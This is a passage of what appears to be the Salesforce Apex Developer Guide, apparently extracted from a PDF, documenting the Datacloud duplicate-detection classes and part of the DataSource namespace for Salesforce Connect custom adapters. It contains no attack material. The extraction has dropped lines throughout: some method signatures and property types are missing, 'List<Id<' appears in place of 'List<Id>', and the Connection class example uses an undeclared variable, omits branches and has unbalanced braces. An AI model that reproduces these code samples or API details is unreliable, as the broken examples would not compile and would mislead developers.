FindDuplicatesByIds Class
Performs rule-based searches for duplicate records. The input is an array of IDs. Each ID specifies records to search for duplicates among.
The duplicates are detected based on the active duplicate rules applicable to the object type corresponding to the input IDs.
Namespace
Datacloud
IN THIS SECTION:
FindDuplicatesByIds Methods
FindDuplicatesByIds Methods
The following are methods for FindDuplicatesByIds.
IN THIS SECTION:
findDuplicatesByIds(ids)
Identifies duplicates of sObjects provided and returns a list of FindDuplicatesResult objects.
findDuplicatesByIds(ids)
Identifies duplicates of sObjects provided and returns a list of FindDuplicatesResult objects.
Usage
Use FindDuplicatesByIds to apply active duplicate rules associated with an object to records represented by the record IDs.
FindDuplicatesByIds uses the duplicate rules for the object that has the same type as the input record IDs. For example, if the
record ID represents an Account, FindDuplicatesByIds uses the duplicate rules associated with the Account object.
Input
• All record IDs in the input array must be of the same object type, and that type must correspond to an object type that supports
duplicate rules.
• The input array is limited to 50 elements. If you exceed this limit, an exception is thrown with the following message:
Configuration error: The number of records to check is greater than the permitted
batch size.
1852
Output
• The output of FindDuplicatesByIds is an array of objects with the same number of elements as the input array, and in
the same order. The output objects encapsulate record IDs for duplicate records. The output objects also contain values from
the duplicate records.
• Each element contains an array of DuplicateResult objects. If FindDuplicatesByIds doesn’t find any duplicates,
the duplicateRule field in DuplicateResult contains the name of the duplicate rule that
FindDuplicatesByIds applied, but the matchResults array is empty.
Example
Account acct = new Account(name='Salesforce');
insert acct;
List<Id< idList = new List<Id<();

idList.add(acct.id);
if (Datacloud.FindDuplicatesByIds.findDuplicatesByIds(idList).size() > 0) {
System.debug('Found duplicates');
}
Signature
public static List<Datacloud.FindDuplicatesResult> findDuplicatesByIds(List<Id> ids)
Parameters
ids
Type: List<ID>
A list of IDs for which you want to find duplicates.
Return Value
Type: List<FindDuplicatesResult>
FindDuplicatesResult Class
Output for rule-based searches for duplicate records. FindDuplicatesResult contains results of detecting duplicates using
instances of FindDuplicates or FindDuplicatesByIds classes.
Namespace
Datacloud
IN THIS SECTION:
FindDuplicatesResult Properties
FindDuplicatesResult Methods
1853
FindDuplicatesResult Properties
The following are properties for FindDuplicatesResult.
IN THIS SECTION:
duplicateresults
A list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects)
or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the
input list.
errors
A list of Database.Error objects holding errors resulting from calling
FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids).
success
Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or
FindDuplicatesByIds.findDuplicatesByIds(ids) was successful.
duplicateresults
A list of DuplicateResult objects representing the results of calling FindDuplicates.findDuplicates(sObjects)
or FindDuplicatesByIds.findDuplicatesByIds(ids). Elements in the list correspond to sObjects or IDs in the input
list.
Signature
public List<Datacloud.DuplicateResult> duplicateresults
Property Value
Type: List<DuplicateResult>
errors
A list of Database.Error objects holding errors resulting from calling FindDuplicates.findDuplicates(sObjects)
or FindDuplicatesByIds.findDuplicatesByIds(ids).
Signature
public List<Database.Error> errors {get; set;}
Property Value
success
Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or
1854
Signature
public Boolean success {get; set;}
Property Value
Type: Boolean
FindDuplicatesResult Methods
The following are methods for FindDuplicatesResult.
IN THIS SECTION:
getDuplicateResults()
Returns a list of DuplicateResult objects representing the results of calling
Elements in the list correspond to sObjects or IDs in the input list.
getErrors()
Returns a list of DatabaseError objects containing errors resulting from calling
FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids),
if errors were encountered.
isSuccess()
Returns a Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or
getDuplicateResults()
Returns a list of DuplicateResult objects representing the results of calling
Elements in the list correspond to sObjects or IDs in the input list.
Example
Account acct = new Account(name='Salesforce');
List<Account< acctList = new List<Account<();
acctList.add(acct);
Datacloud.FindDuplicatesResult[] results = Datacloud.FindDuplicates.findDuplicates(acctList);

for (Datacloud.FindDuplicatesResult findDupeResult : results) {
for (Datacloud.DuplicateResult dupeResult : findDupeResult.getDuplicateResults()) {
for (Datacloud.MatchResult matchResult : dupeResult.getMatchResults()) {
for (Datacloud.MatchRecord matchRecord : matchResult.getMatchRecords()) {
System.debug('Duplicate Record: ' + matchRecord.getRecord());
}
}
}
}
1855
Signature
public List<Datacloud.DuplicateResult> getDuplicateResults()
Return Value
Type: List<DuplicateResult on page 1844>
getErrors()
Returns a list of DatabaseError objects containing errors resulting from calling
FindDuplicates.findDuplicates(sObjects) or FindDuplicatesByIds.findDuplicatesByIds(ids),
if errors were encountered.
Signature
Return Value
isSuccess()
Returns a Boolean signifying whether the call to FindDuplicates.findDuplicates(sObjects) or
Signature
Return Value
Type: Boolean
MatchRecord Class
Represents a duplicate record detected by a matching rule.
Namespace
Datacloud
IN THIS SECTION:
MatchRecord Methods
MatchRecord Methods
The following are methods for MatchRecord.
1856
IN THIS SECTION:
getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B
fields in the matched record.
getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
getMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value
of the minMatchConfidence specified in your request. Returns -1 if unused.
getRecord()
Returns the fields and field values for the duplicate.
getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields
in the matched record.
Signature
public List<Datacloud.AdditionalInformationMap> getAdditionalInformation()
Return Value
Type: List<Datacloud.AdditionalInformationMap>
getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
Signature
public List<Datacloud.FieldDiff> getFieldDiffs()
Return Value
Type: List<Datacloud.FieldDiff>
getMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value of
the minMatchConfidence specified in your request. Returns -1 if unused.
Signature
public Double getMatchConfidence()
Return Value
Type: Double
1857
getRecord()
Returns the fields and field values for the duplicate.
Signature
Return Value
Type: SObject
MatchResult Class
Represents the duplicate results for a matching rule.
Namespace
Datacloud
IN THIS SECTION:
MatchResult Methods
MatchResult Methods
The following are methods for MatchResult.
IN THIS SECTION:
getEntityType()
Returns the entity type of the matching rule.
getErrors()
Returns errors that occurred during matching for the matching rule.
getMatchEngine()
Returns the match engine for the matching rule.
getMatchRecords()
Returns information about the duplicates for the matching rule.
getRule()
Returns the developer name of the matching rule.
getSize()
Returns the number of duplicates detected by the matching rule.
isSuccess()
Returns false if there’s an error with the matching rule, and true if the matching rule successfully ran.
getEntityType()
Returns the entity type of the matching rule.
1858
Signature
public String getEntityType()
Return Value
Type: String
getErrors()
Returns errors that occurred during matching for the matching rule.
Signature
Return Value
getMatchEngine()
Returns the match engine for the matching rule.
Signature
public String getMatchEngine()
Return Value
Type: String
getMatchRecords()
Returns information about the duplicates for the matching rule.
Signature
public List<Datacloud.MatchRecord> getMatchRecords()
Return Value
Type: List<Datacloud.MatchRecord>
getRule()
Returns the developer name of the matching rule.
Signature
public String getRule()
1859
Apex Developer Guide DataSource Namespace
Return Value
Type: String
getSize()
Returns the number of duplicates detected by the matching rule.
Signature
public Integer getSize()
Return Value
Type: Integer
isSuccess()
Returns false if there’s an error with the matching rule, and true if the matching rule successfully ran.
Signature
Return Value
Type: Boolean
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce Connect
custom adapter.
The following are the classes in the DataSource namespace.
IN THIS SECTION:
AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote
deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete
operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.
AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this
class after the remote operation is completed. This class provides the compensating transaction in the completion context of the
insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes
execution.
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
1860
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.
Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data
source definition.
Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.
ColumnSelection Class
Identifies the list of columns to return during a query or search.
Connection Class
Extend this class to enable your Salesforce org to sync the external system’s schema and to handle queries, searches, and write
operations (upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.
ConnectionParams Class
Contains the credentials for authenticating to the external system.
DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.
DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.
DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The
class provides context information about the delete request to the implementor of deleteRows().
DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows
method of the DataSource.Connection class.
Filter Class
Represents a WHERE clause in a SOSL or SOQL query.
FilterType Enum
Referenced by the type property on a DataSource.Filter.
IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.
Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.
OrderDirection Enum
Specifies the direction for sorting rows based on column values.
Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and
authentication capabilities that are supported by or required to connect to the external system. This class extends the
DataSourceUtil class and inherits its methods.
QueryAggregation Enum
Specifies how to aggregate a column in a query.
1861
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.
QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.
SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.
SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.
Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
TableResult Class
Contains the results of a search or query.
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.
UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class.
This class provides context information about the upsert request to the implementor of upsertRows().
UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of
the DataSource.Connection class.
DataSource Exceptions
The DataSource namespace contains exception classes.
AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync
operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this
class to define the actions to execute after the remote delete operation finishes execution.
Namespace
DataSource
IN THIS SECTION:
AsyncDeleteCallback Methods
1862
AsyncDeleteCallback Methods
The following are methods for AsyncDeleteCallback.
IN THIS SECTION:
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the
Salesforce org..
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce
org..
Signature
public void processDelete(Database.DeleteResult deleteResult)
Parameters
deleteResult
Type: Database.DeleteResult
The result of the asynchronous delete operation.
Return Value
Type: void
AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this
class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert
or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.
Namespace
DataSource
IN THIS SECTION:
AsyncSaveCallback Methods
AsyncSaveCallback Methods
The following are methods for AsyncSaveCallback.
1863
IN THIS SECTION:
processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.
processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.
Signature
public void processSave(Database.SaveResult saveResult)
Parameters
saveResult
Type: Database.SaveResult
The result of the asynchronous insert or update operation.
Return Value
Type: void
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
Usage
The DataSource.Provider class returns DataSource.AuthenticationCapability enum values. The returned
values determine which authentication settings are available on the external data source definition in Salesforce.
If you set up callouts in your DataSource.Connection class, you can specify the callout endpoints as named credentials instead
of URLs. If you do so for all callouts, return ANONYMOUS as the sole entry in the list of data source authentication capabilities. That way,
the external data source definition doesn’t require authentication settings. Salesforce manages all authentication for Apex callouts that
specify a named credential as the callout endpoint so that your code doesn’t have to.
Enum Values
The following are the values of the DataSource.AuthenticationCapability enum.
Value Description
ANONYMOUS No credentials are required to authenticate to the external system.
BASIC A username and password can be used to authenticate to the external system.
1864
Value Description
CERTIFICATE A security certificate can be supplied when establishing each connection to the
external system.
OAUTH OAuth can be used to authenticate to the external system.
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.
Enum Values
The following are the values of the DataSource.AuthenticationProtocol enum.
Value Description
NONE No credentials are used to authenticate to the external system.
OAUTH OAuth 2.0 is used to authenticate to the external system.
PASSWORD A username and password are used to authenticate to the external system.
Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source
definition.
Usage
The DataSource.Provider class returns DataSource.Capability enum values, which:
• Specify the functional capabilities of the external system.
• Determine which endpoint settings are available on the external data source definition in Salesforce.
Enum Values
The following are the values of the DataSource.Capability enum.
Value Description
QUERY_PAGINATION_SERVER_DRIVEN With server-driven paging, the external system determines the page sizes and batch
boundaries. The external system’s paging settings can optimize the external system’s
performance and improve the load times for external objects in your org. Also, the
external data set can change while your users or the Force.com platform are paging
through the result set. Typically, server-driven paging adjusts batch boundaries to
accommodate changing data sets more effectively than client-driven paging.
If you enable server-driven paging on an external data source, Salesforce ignores
the requested page sizes, including the default queryMore() batch size of 500
rows. The pages returned by the external system determine the batches. Also, the
1865
Value Description
Apex code must generate a query token and use it to determine and fetch the next
batch of results.
QUERY_TOTAL_SIZE The external system can provide the total number of rows that meet the query
criteria, even when requested to return a smaller batch size. This capability enables
you to simplify how you paginate results by using queryMore().
REQUIRE_ENDPOINT Requires the administrator to specify the endpoint in the URL field in the external
data source definition.
REQUIRE_HTTPS Requires the endpoint URL to use secure HTTP. If REQUIRE_ENDPOINT isn’t
declared, REQUIRE_HTTPS is ignored.
ROW_CREATE Allows creating of external data.
ROW_DELETE Allows deleting external data.
ROW_QUERY Allows API and SOQL queries of the external data. Also allows reports on the external
objects.
ROW_UPDATE Allows updating external data.
SEARCH Allows SOSL and Salesforce searches of the external data.

When the custom adapter declares the SEARCH capability, you can control which
external objects are searchable by selecting or deselecting Allow Search on each
external object. However, syncing always overwrites the external object’s search
status to match the search status of the external data source.
Only text, text area, and long text area fields on external objects can be searched.
If an external object has no searchable fields, searches on that object return no
records.
SEE ALSO:
Salesforce Help: Validate and Sync an External Data Source
Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.
Namespace
DataSource
Usage
A list of column metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each column
can become a field on an external object.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the column metadata doesn’t
automatically update the stored metadata in Salesforce.
1866
IN THIS SECTION:
Column Properties
Column Methods
Column Properties
The following are properties for Column.
IN THIS SECTION:
decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.
description
Description of what the column represents.
filterable
Whether a result set can be filtered based on the values of the column.
label
User-friendly name for the column that appears in the Salesforce user interface.
length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number
of digits on both sides of the decimal point, but excluding the decimal point.
name
Name of the column in the external system.
referenceTargetField
API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify
related records in an indirect lookup relationship. Applies only when the column’s data type is INDIRECT_LOOKUP_TYPE. For
other data types, this value is ignored.
referenceTo
API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
type
Data type of the column.
decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.
Signature
public Integer decimalPlaces {get; set;}
1867
Property Value
Type: Integer
description
Description of what the column represents.
Signature
public String description {get; set;}
Property Value
Type: String
filterable
Whether a result set can be filtered based on the values of the column.
Signature
public Boolean filterable {get; set;}
Property Value
Type: Boolean
label
Signature
public String label {get; set;}
Property Value
Type: String
length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of
digits on both sides of the decimal point, but excluding the decimal point.
Signature
public Integer length {get; set;}
Property Value
Type: Integer
1868
name
Name of the column in the external system.
Signature
public String name {get; set;}
Property Value
Type: String
related records in an indirect lookup relationship. Applies only when the column’s data type is INDIRECT_LOOKUP_TYPE. For other
data types, this value is ignored.
Signature
public String referenceTargetField {get; set;}
Property Value
Type: String
referenceTo
API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
Signature
public String referenceTo {get; set;}
Property Value
Type: String
sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
Signature
public Boolean sortable {get; set;}
Property Value
Type: Boolean
1869
type
Data type of the column.
Signature
public DataSource.DataType type {get; set;}
Property Value
Type: DataSource.DataType
Column Methods
The following are methods for Column.
IN THIS SECTION:
boolean(name)
Returns a new column of data type BOOLEAN_TYPE.
externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)
Returns a new column with the eight specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length)
Returns a new column with the seven specified Column property values.
indirectLookup(name, domain, targetField)
Returns a new column of data type INDIRECT_LOOKUP_TYPE.
integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.
lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.
number(name, length, decimalPlaces)
Returns a new column of data type NUMBER_TYPE.
text(name, label, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and
length.
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.
text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.
textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.
1870
url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.
boolean(name)
Returns a new column of data type BOOLEAN_TYPE.
Signature
public static DataSource.Column boolean(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Type: DataSource.Column
externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.
Signature
public static DataSource.Column externalLookup(String name, String domain)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the external lookup relationship.
Return Value
The returned column has these property values.
Property Value
name name
1871
Property Value
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.EXTERNAL_LOOKUP_TYPE
length 255
decimalPlaces 0
referenceTo domain
referenceTargetField null
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces,

referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.
Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces, String referenceTo, String referenceTargetField)
Parameters
See Column Properties on page 1867 for information about each parameter.
name
Type: String
label
Type: String
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
length
Type: Integer
decimalPlaces
Type: Integer
1872
referenceTo
Type: String
Type: String
Return Value
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)

Returns a new column with the eight specified Column property values.
Signature
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces)
Parameters
name
Type: String
label
Type: String
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
length
Type: Integer
decimalPlaces
Type: Integer
Return Value
get(name, label, description, isSortable, isFilterable, type, length)

Returns a new column with the seven specified Column property values.
1873
Signature
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length)
Parameters
name
Type: String
label
Type: String
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
length
Type: Integer
Return Value
indirectLookup(name, domain, targetField)

Returns a new column of data type INDIRECT_LOOKUP_TYPE.
Signature
public static DataSource.Column indirectLookup(String name, String domain, String
targetField)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the indirect lookup relationship.
targetField
Type: String
1874
related records in an indirect lookup relationship.
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.INDIRECT_LOOKUP_TYPE
length 255
decimalPlaces 0
referenceTo domain
referenceTargetField targetField
integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.
Signature
public static DataSource.Column integer(String name, Integer length)
Parameters
name
Type: String
The column name.
length
Type: Integer
The column length.
Return Value
1875
lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.
Signature
public static DataSource.Column lookup(String name, String domain)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the lookup relationship.
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.LOOKUP_TYPE
length 255
decimalPlaces 0
referenceTo domain
referenceTargetField null
number(name, length, decimalPlaces)

Returns a new column of data type NUMBER_TYPE.
Signature
public static DataSource.Column number(String name, Integer length, Integer
decimalPlaces)
1876
Parameters
name
Type: String
length
Type: Integer
decimalPlaces
Type: Integer
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.NUMBER_TYPE
length length
decimalPlaces decimalPlaces
text(name, label, length)

Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and length.
Signature
public static DataSource.Column text(String name, String label, Integer length)
Parameters
name
Type: String
Name of the column.
label
Type: String
1877
length
Type: Integer
Number of characters allowed in the column.
Return Value
Property Value
name name
label label
description label
isSortable true
isFilterable true
type DataSource.DataType.STRING_SHORT_TYPE if length is 255 or less

DataSource.DataType.STRING_LONG_TYPE if length is greater than 255
length length
decimalPlaces 0
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.
Signature
public static DataSource.Column text(String name, Integer length)
Parameters
name
Type: String
Name of the column.
length
Type: Integer
Return Value
1878
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.STRING_SHORT_TYPE if length is 255 or

less
DataSource.DataType.STRING_LONG_TYPE if length is greater
than 255
length length
decimalPlaces 0
text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.
Signature
public static DataSource.Column text(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.STRING_SHORT_TYPE
1879
Property Value
length 255
decimalPlaces 0
textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.
Signature
public static DataSource.Column textarea(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.STRING_LONG_TYPE
length 32000
decimalPlaces 0
url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.
Signature
public static DataSource.Column url(String name, Integer length)
1880
Parameters
name
Type: String
Name of the column.
length
Type: Integer
Return Value
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.URL_TYPE
length length
decimalPlaces 0
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.
Signature
public static DataSource.Column url(String name)
Parameters
name
Type: String
Name of the column.
Return Value
1881
Property Value
name name
label name
description name
isSortable true
isFilterable true
type DataSource.DataType.URL_TYPE
length 1000
decimalPlaces 0
ColumnSelection Class
Identifies the list of columns to return during a query or search.
Namespace
Usage
This class is associated with the SELECT clause for a SOQL query, or the RETURNING clause for a SOSL query.
IN THIS SECTION:
ColumnSelection Properties
ColumnSelection Properties
The following are properties for ColumnSelection.
IN THIS SECTION:
aggregation
How to aggregate the column’s data.
columnName
Name of the selected column.
tableName
Name of the column’s table.
aggregation
How to aggregate the column’s data.
1882
Signature
public DataSource.QueryAggregation aggregation {get; set;}
Property Value
Type: DataSource.QueryAggregation
columnName
Name of the selected column.
Signature
public String columnName {get; set;}
Property Value
Type: String
tableName
Name of the column’s table.
Signature
public String tableName {get; set;}
Property Value
Type: String
Connection Class
Extend this class to enable your Salesforce org to sync the external system’s schema and to handle queries, searches, and write operations
(upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.
Namespace
DataSource
Usage
Your DataSource.Connection and DataSource.Provider classes compose a custom adapter for Salesforce Connect.
Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external objects.
Example
global class SampleDataSourceConnection extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams connectionParams) {
1883

List<DataSource.Table> tables = new List<DataSource.Table>();
tables.add(DataSource.Table.get('Sample', 'Title', columns));
return tables;
}
override global DataSource.TableResult query(DataSource.QueryContext c) {

return DataSource.TableResult.get(c, DataSource.QueryUtils.process(c, getRows()));
override global List<DataSource.TableResult> search(DataSource.SearchContext c) {
List<DataSource.TableResult> results = new List<DataSource.TableResult>();

for (DataSource.TableSelection tableSelection : c.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection, getRows()));
}
return results;
}
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();

// Parse the JSON response and populate the rows.
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
} else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
}
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext

context) {
1884
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
for (Map<String, Object> row : rows){

// Make a callout to insert or update records in the external system.
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
response = makePostCallout(
row.get('ExternalId') + '"');
}
else {
// Send a PUT HTTP request to update an existing external record.
response = makePutCallout(
row.get('ExternalId') + '"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.

// First, deserialize it.
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
}
}
return results;
}
return null;
}
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext

context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
results.add(DataSource.DeleteResult.success(externalId));
}
else {
1885
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// Helper methods
// Make a GET callout

private static HttpResponse makeGetCallout() {
// Make callout
// ...
return response;
}
// Populate a row based on values from the external system.

private Map<String,Object> foundRow(Map<String,Object> foundRow) {
Map<String,Object> row = new Map<String,Object>();
row.put('ExternalId', string.valueOf(foundRow.get('Id')));
row.put('DisplayUrl', string.valueOf(foundRow.get('DisplayUrl')));
row.put('Name', string.valueOf(foundRow.get('Name')));
return row;
}
// Make a POST callout

private static HttpResponse makePostCallout(String jsonBody) {
// Make callout
// ...
return response;
}
// Make a PUT callout

private static HttpResponse makePutCallout(String jsonBody, String externalID) {
// Make callout
// ...
return response;
}
// Make a DELETE callout

private static HttpResponse makeDeleteCallout(String externalID) {
// Make callout
// ...
return response;
}
}
1886
IN THIS SECTION:
Connection Methods
Connection Methods
The following are methods for Connection.
IN THIS SECTION:
deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
query(queryContext)
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list
view or record detail page in Salesforce. Returns the results of the query.
search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.
sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external system’s schema.
upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.
deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
Signature
public List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext deleteContext)
Parameters
deleteContext
Type: DataSource.DeleteContext
Contains context information about the delete request.
Return Value
Type: List<DataSource.DeleteResult>
The results of the delete operation.
query(queryContext)
